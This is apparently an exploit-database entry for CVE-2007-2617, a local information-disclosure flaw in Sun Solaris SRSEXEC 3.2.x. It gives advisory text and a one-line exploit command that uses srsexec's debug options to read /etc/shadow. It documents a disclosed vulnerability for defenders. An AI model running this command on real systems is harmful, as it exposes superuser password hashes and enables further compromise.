Sun Microsystems Solaris SRSEXEC 3.2.x - Arbitrary File Read Local Information Disclosure

Author: anonymous
type: local
platform: solaris
port: 
date_added: 2007-05-10
date_updated: 2013-12-04
verified: 1
codes: CVE-2007-2617;OSVDB-35940
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source: https://www.securityfocus.com/bid/23915/info

Sun Microsystems Solaris is prone to a local information-disclosure vulnerability due to a design error.

A local attacker may exploit this issue to access sensitive information, including superuser password information, that may lead to further attacks. A complete compromise is possible.

The following exploit example is available:
$ /opt/SUNWsrspx/bin/srsexec -dvb /etc/shadow OWNED